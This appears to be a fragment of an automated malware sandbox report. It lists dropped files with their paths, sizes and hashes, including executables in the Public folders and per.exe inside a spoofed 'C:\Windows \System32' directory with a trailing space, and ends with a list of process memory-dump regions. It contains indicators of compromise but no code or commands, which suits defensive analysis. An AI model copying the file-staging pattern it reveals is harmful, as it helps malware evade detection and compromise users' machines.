SHA512 e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6
MD5 SHA1 SHA512

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__PSScriptPolicyTest_mpjbnin4.0zm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mpjbnin4.0zm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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vpsvpkjikgmkoyepgmkfvgepijqdno

Path C:\Users\Admin\AppData\Local\Temp\vpsvpkjikgmkoyepgmkfvgepijqdno
Size 4KB
SHA256 5b925ab999c036167ea8ddb4ea5256d33f56405a62faf0c40837d3e69588c5e2
MD5 bfad3231b66bc41dc26604f95ff7798f
SHA1 3bb8a68b16f2dc00e7ae9757fd4be2d10dbe91f1
SHA512 1339ac589e8a88ce019a638a68f8db4d93193b24c8252fe4825de02b816c4572fcc9722d48752904ccba5968072b8dd5070117ad88e8aa4a5dcd53d3c3b5cc0a
SSDEEP 48:wvvv0QBxfvvcQBxfdvv0QBxBvv0QBxakvv0QB7:mvHxvvp1vHPvHbvH7
MD5 SHA1 SHA512 SSDEEP

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ngtepnyT.pif

Path C:\Users\Public\Libraries\ngtepnyT.pif
Size 66KB
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
SSDEEP 1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5 SHA1 SHA512 SSDEEP

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alpha.exe

Path C:\Users\Public\alpha.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

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ger.exe

Path C:\Users\Public\ger.exe
Size 75KB
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
SSDEEP 1536:/ZsKjopjN/cYXsuMdCAOznsA5q+oxxhRO+sAg9RyTVZiJXpnvo/vrK:FW5nspdCbzpq+iLcqjWXpvo/vm
MD5 SHA1 SHA512 SSDEEP

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xkn.exe

Path C:\Users\Public\xkn.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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per.exe

Path C:\Windows \System32\per.exe
Size 48KB
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459
SSDEEP 768:WwU7bDT2KLt6oPjQQ5fxGIjN44MgZkD9TpiPogpUORaNpohsySZlv7:WtfT2KwoPBxjN4zDbgpUOoo1SZ17
MD5 SHA1 SHA512 SSDEEP

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memory/540-97-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/540-99-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/540-95-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/1820-86-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-85-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-68-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-69-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-70-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-65-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-64-0x00000000050C0000-0x00000000060C0000-memory.dmp

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memory/1820-124-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-117-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-108-0x0000000017140000-0x0000000017159000-memory.dmp

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memory/1820-116-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-87-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-88-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-89-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-90-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-92-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-113-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1820-111-0x0000000017140000-0x0000000017159000-memory.dmp

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memory/1820-112-0x0000000017140000-0x0000000017159000-memory.dmp

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memory/1912-94-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/1912-98-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/1912-96-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/2404-40-0x0000020072300000-0x0000020072322000-memory.dmp

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memory/4264-11-0x0000000000400000-0x0000000001400000-memory.dmp

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memory/4264-5-0x0000000000400000-0x0000000001400000-memory.dmp

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memory/4264-10-0x0000000000400000-0x000000000041A000-memory.dmp

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memory/4264-8-0x0000000000400000-0x0000000001400000-memory.dmp

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memory/4264-82-0x0000000000400000-0x0000000001400000-memory.dmp

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memory/4264-84-0x0000000000400000-0x000000000041A000-memory.dmp

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memory/4364-102-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/4364-100-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/4364-101-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/4664-0-0x0000000000B30000-0x0000000000B31000-memory.dmp

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memory/4664-1-0x0000000000400000-0x000000000050C000-memory.dmp

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